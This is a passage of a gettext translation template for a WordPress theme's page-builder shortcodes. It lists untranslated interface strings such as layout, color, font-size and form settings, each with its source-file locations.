#: inc/js_composer/shortcodes/container/settings.php:23
msgid "Container ( width: 1080px ) "
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:24
msgid "Container normal ( width: 1170px ) "
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:25
msgid "Container fluid ( width: 1400px ) "
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:31
msgid "Custom position of content and sidebar on mobile"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:34
msgid "Content + Sidebar left + Sidebar right"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:35
msgid "Content + Sidebar right + Sidebar left"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:36
msgid "Sidebar left + Content + Sidebar right"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:37
msgid "Sidebar left + Sidebar right + Content"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:38
msgid "Sidebar right + Content + Sidebar left"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:39
msgid "Sidebar right + Sidebar left + Content"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:45
msgid "Enable sticky content & sidebar."
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:55
msgid "Container ID"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:57
#: inc/js_composer/shortcodes/container_inner/settings.php:34
#, php-format
msgid ""
"Enter optional row ID. Make sure it is unique, and it is valid as w3c "
"specification: %s (Must not have spaces)"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:57
#: inc/js_composer/shortcodes/container_inner/settings.php:34
msgid "link"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:63
#: inc/js_composer/shortcodes/fancy_heading/settings.php:453
#: inc/js_composer/shortcodes/google_map/settings.php:190
#: inc/js_composer/shortcodes/info_box/settings.php:494
msgid ""
"Style particular content element differently - add a class name and refer to "
"it in custom CSS."
msgstr ""

#: inc/js_composer/shortcodes/container_inner/settings.php:26
msgid "Disable sticky content & sidebar."
msgstr ""

#: inc/js_composer/shortcodes/container_inner/settings.php:32
msgid "Row ID"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:12
msgid "Count Down Block"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:19
msgid "Choose Skin"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:166
msgid "Turn on uppearcase for label count down?"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:201
msgid "Weeks (Plural)"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:217
msgid "Months (Plural)"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:233
msgid "Years (Plural)"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:249
msgid "Hours (Plural)"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:265
msgid "Minutes (Plural)"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:281
msgid "Seconds (Plural)"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:289
msgid "Timer background color"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:297
msgid "Timer border color"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:306
msgid "Timer digit"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:313
msgid "Timer digit border color"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:320
msgid "Timer digit background color"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:328
msgid "Timer digit color"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:343
msgid "Font Size for Timer Digit"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:350
msgid "Font Weight for Timer Digit"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:374
msgid "Timer unit"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:381
msgid "Timer unit color"
msgstr ""

#: inc/js_composer/shortcodes/count_down/settings.php:395
msgid "Font Size for Timer Unit"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:11
msgid "Counter Up Block"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:18
msgid "Counter Up style"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:91
msgid "Icon Border Style"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:132
msgid "Image with/height"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:141
msgid "Custom margin bottom for Icon or Image"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:149
msgid "Custom margin top for number"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:157
msgid "Custom padding left/right for number"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:165
msgid "Custom margin top for title"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:306
#: inc/js_composer/shortcodes/info_box/settings.php:353
msgid "Icon background color"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:344
msgid "Font Size for Number"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:352
#: inc/js_composer/shortcodes/counter_up/settings.php:433
msgid "Font Weight for Number"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:376
msgid "Prefix and Suffix"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:396
msgid "Font size for Prefix and Suffix"
msgstr ""

#: inc/js_composer/shortcodes/counter_up/settings.php:425
msgid "Font size for Title"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:11
msgid "Custom Slider Block"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:187
#: inc/js_composer/shortcodes/custom_sliders/settings.php:415
#: inc/js_composer/shortcodes/custom_sliders/settings.php:510
msgid "Overlay Background Padding"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:198
msgid "Slides Height"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:209
msgid "Ratio Height/Width .Unit is %. E.g: 50"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:231
msgid "Content Padding Left"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:241
msgid "Content Padding Right"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:251
msgid "Content Padding Top"
msgstr ""

#: inc/js_composer/shortcodes/custom_sliders/settings.php:261
msgid "Content Padding Bottom"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:8
msgid "Facebook Page"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:9
msgid "Facebook Page Block"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:15
msgid "Facebook Page Title:"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:21
msgid "Facebook Page URL:"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:26
msgid "EG. https://www.facebook.com/your-page/"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:30
msgid "Facebook Page Height::"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:33
msgid "This option is only applied when \"Show Stream\" option is checked"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:37
msgid "Hide Cover Image?"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:46
msgid "Hide Faces?"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:55
msgid "Hide Stream?"
msgstr ""

#: inc/js_composer/shortcodes/facebook_page/settings.php:69
msgid ""
"Fill the language code to use on Facebook Page Box here( E.g: de_DE ). By "
"default, the language will follow the site language. See more <a "
"href=\"https://developers.facebook.com/docs/internationalization/\" "
"target=\"_blank\">here</a>"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:28
msgid "Subtitle:"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:33
msgid "Subtitle tag"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:50
msgid "Subtitle position"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:62
msgid "Custom margin top for subtitle"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:71
msgid "Custom margin bottom for subtitle"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:80
msgid "Custom width for subtitle"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:91
msgid "This is custom heading element"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:95
msgid "Title tag"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:112
msgid "URL for title"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:138
msgid "Lines Spacing"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:144
msgid "Turn on upppearcase for title"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:153
msgid "Use separator"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:171
msgid "Separator display style."
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:176
msgid "Add separator icon?"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:186
msgid "Separator Border width"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:200
msgid "Select border width (pixels)."
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:206
msgid "Separator width"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:216
msgid "Custom margin top for Separator"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:225
msgid "Custom margin top for Content"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:234
msgid "Custom width for Content"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:245
#: inc/js_composer/shortcodes/text_block/settings.php:18
msgid ""
"<p>I am text block. Click edit button to change this text. Lorem ipsum dolor "
"sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec "
"ullamcorper mattis, pulvinar dapibus leo.</p>"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:256
#: inc/js_composer/shortcodes/info_box/settings.php:134
#: inc/js_composer/shortcodes/simple_list/settings.php:207
#: inc/js_composer/shortcodes/simple_list/settings.php:223
#: inc/js_composer/shortcodes/simple_list/settings.php:239
#: inc/js_composer/shortcodes/simple_list/settings.php:270
#: inc/js_composer/shortcodes/simple_list/settings.php:286
#: inc/js_composer/shortcodes/simple_list/settings.php:302
msgid "Select icon from library."
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:263
#: inc/js_composer/shortcodes/image_gallery/settings.php:158
msgid "Size Icon"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:274
msgid "Custom margin top and bottom for Icon"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:285
msgid "Custom margin right and left for Icon"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:312
msgid "Title hover color"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:326
#: inc/js_composer/shortcodes/info_box/settings.php:443
#: inc/js_composer/shortcodes/open_hours/settings.php:140
msgid "Font Size for Title"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:337
msgid "Font Size for Title on Tablet"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:348
msgid "Font Size for Title on Tablet Small"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:359
msgid "Font Size for Title on Tablet Mobile"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:372
msgid "Subtitle Typography"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:379
#: inc/js_composer/shortcodes/open_hours/settings.php:159
msgid "Subtitle color"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:393
#: inc/js_composer/shortcodes/open_hours/settings.php:173
msgid "Font Size for Subtitle"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:402
msgid "Custom icon color for Separator"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:409
msgid "Custom border color for Separator"
msgstr ""

#: inc/js_composer/shortcodes/fancy_heading/settings.php:426
#: inc/js_composer/shortcodes/info_box/settings.php:462
msgid "Content color"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:25
msgid "Choose style"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:139
msgid "Hide Post Excerpt on Style 24 & 26"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:159
#: inc/js_composer/shortcodes/testimonails/settings.php:165
msgid "Slider options"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:296
#: inc/js_composer/shortcodes/featured_slider/settings.php:357
msgid "Font size for Post title"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:306
msgid "Font Size for Post Title of Big Post"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:406
#: inc/js_composer/shortcodes/featured_slider/settings.php:455
msgid "Font size for Post Meta"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:489
msgid "Read More Color"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:496
msgid "Read More Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:503
msgid "Read More Hover Background Color"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:511
msgid "Font size for Read More"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:520
msgid "Custom Font Family for Read More"
msgstr ""

#: inc/js_composer/shortcodes/featured_slider/settings.php:542
msgid "Featured Slider Block"
msgstr ""

#: inc/js_composer/shortcodes/google_map/settings.php:11
msgid "Google Map"
msgstr ""

#: inc/js_composer/shortcodes/image_gallery/settings.php:18
msgid "Select style gallery display"
msgstr ""

#: inc/js_composer/shortcodes/image_gallery/settings.php:28
msgid "Style 7 ( Thumbnail Slider )"
msgstr ""

#: inc/js_composer/shortcodes/image_gallery/settings.php:36
msgid "Select images from media library."
msgstr ""

#: inc/js_composer/shortcodes/image_gallery/settings.php:48
msgid "Image Size for Big Image"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:13
msgid "Info Box Block"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:35
msgid "Use line below the title"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:46
msgid "Insert your content here"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:64
msgid "Custom Margin Top for Sub Title"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:74
msgid "Custom Margin Top for Title"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:84
#: inc/meta-box/register/page.php:457
msgid "Custom Margin Bottom for Title"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:94
msgid "Custom Margin Top for Description"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:122
msgid "Image hover"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:140
msgid "Icon Text"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:141
msgid "02"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:208
msgid "Custom Padding for Icon"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:219
msgid "URL (Link)"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:221
msgid "Add link to icon."
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:229
msgid "Line width"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:241
msgid "Line height"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:253
#: inc/js_composer/shortcodes/mailchimp/settings.php:58
msgid "Margin top"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:265
msgid "Margin bototm"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:276
msgid "Custom color for Line"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:300
msgid "Borders color"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:328
msgid "Padding Top & Bottom"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:360
msgid "Icon border color"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:367
msgid "Icon hover color"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:374
msgid "Icon hover background color"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:381
msgid "Icon hover border color"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:397
msgid "Sub Title color"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:411
msgid "Font Size for Sub Title"
msgstr ""

#: inc/js_composer/shortcodes/info_box/settings.php:475
msgid "Font Size for Content"
msgstr ""

#: inc/js_composer/shortcodes/instagram/settings.php:19
msgid ""
"You need to connect to your Instagram account via \"Dashboard > Soledad > "
"Connect Instagram\" first."
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:22
msgid "Layout:"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:32
msgid "Align This Widget:"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:62
msgid "Custom Reply text:"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:68
msgid "Custom Retweet text:"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:74
msgid "Custom Favorite text:"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:82
msgid "Tweets colors"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:97
msgid "Font size for Text"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:115
msgid "Font size for Date"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:125
msgid "Icon and Link color"
msgstr ""

#: inc/js_composer/shortcodes/latest_tweets/settings.php:133
#: inc/js_composer/shortcodes/popular_cat/settings.php:82
msgid "Font size for Link"
msgstr ""

#: inc/js_composer/shortcodes/login_form/settings.php:20
msgid ""
"Please note that when a user is logged in, the registration form will be "
"hidden. And if you select to show \"Register\" form, you need to go to "
"Dashboard > Settings > General > on \"Membership\" select \"Anyone can "
"register\" to make the Register form displays."
msgstr ""

#: inc/js_composer/shortcodes/login_form/settings.php:34
msgid "Form colors"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:17
msgid "Choose Style your sign-up form"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:26
#, php-format
msgid ""
"You can edit your sign-up form in the <a href=\"%s\">MailChimp for WordPress "
"form settings</a>."
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:50
msgid "Description width"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:77
msgid " Sign-up form colors"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:91
msgid "Description color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:98
msgid "Input name & email background color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:105
msgid " Input name & email border color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:112
msgid "Input name & email text color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:119
msgid "Placeholder input name & email color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:127
msgid "Button submit text color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:134
msgid "Button submit background color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:141
msgid "Button submit border color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:148
msgid "Button submit hover text color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:155
msgid "Button submit hover background color"
msgstr ""

#: inc/js_composer/shortcodes/mailchimp/settings.php:162
msgid "Button submit hover border color"
msgstr ""

#: inc/js_composer/shortcodes/media_carousel/settings.php:11
msgid "Advanced Carousel"
msgstr ""

#: inc/js_composer/shortcodes/media_carousel/settings.php:12
msgid "Media Advanced Block"
msgstr ""

#: inc/js_composer/shortcodes/media_carousel/settings.php:17
msgid "Gap"
msgstr ""

#: inc/js_composer/shortcodes/media_carousel/settings.php:28
msgid "Items display on Desktop"
msgstr ""

#: inc/js_composer/shortcodes/media_carousel/settings.php:39
msgid "Items display on Tablet"
msgstr ""

#: inc/js_composer/shortcodes/media_carousel/settings.php:50
msgid "Items display on Mobile"
msgstr ""

#: inc/js_composer/shortcodes/news_ticker/settings.php:14
#: inc/js_composer/shortcodes/small_list/settings.php:28
msgid "Create WordPress loop, to filter your posts"
msgstr ""

#: inc/js_composer/shortcodes/news_ticker/settings.php:124
msgid "Font size for \"Top Posts\" Text"
msgstr ""

#: inc/js_composer/shortcodes/news_ticker/settings.php:134
msgid "Font size for Next/Prev Buttons"
msgstr ""

#: inc/js_composer/shortcodes/news_ticker/settings.php:144
msgid "Font size for Post Titles"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:11
msgid "Open Hours"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:79
msgid "Subtitle margin top"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:92
msgid "Icon of Open Hour"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:119
msgid "Title of Open Hour"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:152
msgid "Subtitle of Open Hour"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:184
msgid "Hours or Price of Open Hour"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:205
msgid "Font size for Hours or Price"
msgstr ""

#: inc/js_composer/shortcodes/open_hours/settings.php:215
msgid "Font Weight for Hours or Price"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.php:11
msgid "Archive Builder - Breadcrumb"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.php:17
#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:17
#: inc/template-builder/archive-elements/breadcrumb.php:41
#: inc/template-builder/single-elements/breadcrumb.php:41
msgid "Breadcrumb Align"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.php:28
#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:36
msgid "BreadCrumb Text Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.php:34
#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:43
msgid "BreadCrumb Text Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.php:40
#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:50
msgid "BreadCrumb Spacing"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.php:46
#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:57
msgid "Custom Font Family for Breadcrumb"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_description/settings.php:11
msgid "Archive Builder - Description"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_description/settings.php:50
#: inc/js_composer/shortcodes/pc_archive_title/settings.php:91
msgid "Custom Font Family"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:11
msgid "Archive Builder - Taxonomy"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:17
#: inc/template-builder/archive-elements/taxonomy.php:51
msgid "Term Listing"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:28
#: inc/template-builder/archive-elements/taxonomy.php:65
msgid "Select the Post Taxonomies Term."
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:45
#: inc/template-builder/archive-elements/taxonomy.php:81
msgid "Select the Excluded Post Taxonomies Term."
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:115
#: inc/template-builder/archive-elements/taxonomy.php:185
msgid "Activate Current Viewing Term?"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:122
#: inc/template-builder/archive-elements/taxonomy.php:193
msgid "Show Posts Count"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:130
msgid "Horizontal Space Between Items"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:137
msgid "Vertical Space Between Items"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:144
#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:95
msgid "Term Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:151
msgid "Term Hover & Active Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:158
#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:109
msgid "Term Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:165
msgid "Term Hover & Active Background Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:172
#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:123
msgid "Term Border Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:179
msgid "Term Hover & Active Border Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:186
msgid "Border Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:202
msgid "Term Border Radius"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/frontend.php:17
#: inc/js_composer/shortcodes/pc_archive_title/frontend.php:24
#: inc/js_composer/shortcodes/pc_archive_title/frontend.php:31
#: inc/js_composer/shortcodes/pc_archive_title/frontend.php:36
#: inc/js_composer/shortcodes/pc_archive_title/frontend.php:41
#: inc/js_composer/shortcodes/pc_archive_title/frontend.php:46
#: inc/js_composer/shortcodes/pc_archive_title/frontend.php:49
#: inc/template-builder/archive-elements/title.php:368
#: inc/template-builder/archive-elements/title.php:375
#: inc/template-builder/archive-elements/title.php:382
#: inc/template-builder/archive-elements/title.php:387
#: inc/template-builder/archive-elements/title.php:392
#: inc/template-builder/archive-elements/title.php:397
#: inc/template-builder/archive-elements/title.php:400
msgid "<"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:11
msgid "Archive Builder - Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:17
#: inc/template-builder/archive-elements/title.php:41
msgid "Heading Markup"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:42
#: inc/js_composer/shortcodes/pc_single_title/settings.php:42
#: inc/template-builder/archive-elements/title.php:76
#: inc/template-builder/single-elements/title.php:76
msgid "Remove Heading Line"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:49
msgid "Prefix Text Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:56
#: inc/js_composer/shortcodes/pc_single_subtitle/settings.php:43
#: inc/js_composer/shortcodes/pc_single_title/settings.php:49
msgid "Main Text Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:63
#: inc/js_composer/shortcodes/pc_single_title/settings.php:79
msgid "Heading Line Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:70
#: inc/js_composer/shortcodes/pc_single_title/settings.php:86
msgid "Heading Line Spacing with Title"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:77
#: inc/js_composer/shortcodes/pc_single_title/settings.php:93
msgid "Heading Line Width"
msgstr ""

#: inc/js_composer/shortcodes/pc_archive_title/settings.php:84
#: inc/js_composer/shortcodes/pc_single_title/settings.php:100
msgid "Heading Line Height"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_author/settings.php:11
msgid "Post Builder - Author"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_author/settings.php:30
#: inc/template-builder/single-elements/author.php:54
msgid "Author Box Image Style"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_author/settings.php:41
msgid "Author Image Size"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_author/settings.php:49
msgid "Color for Author Name"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_author/settings.php:56
msgid "Color for General Text"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_author/settings.php:63
msgid "Color for Text Link"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_author/settings.php:70
msgid "Hover Color for Text Link"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:11
msgid "Post Builder - Breadcrumb"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:11
msgid "Post Builder - Comments"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:24
msgid "Hide Comment Date"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:31
msgid "Remove Lines on The Block Heading"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:79
#: inc/template-builder/single-elements/comments.php:93
msgid "Submit Button Align"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:92
msgid "Comment Lists"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:99
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:198
msgid "Heading Title Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:106
msgid "Heading Title Lines Color"
msgstr ""

#: inc/js_composer/shortcodes/pc_single_comments/settings.php:113
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:220
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:84
#: inc/template-builder/single-elements/featured-overlay.php:289
#: inc/template-builder/single-elements/meta.php:130
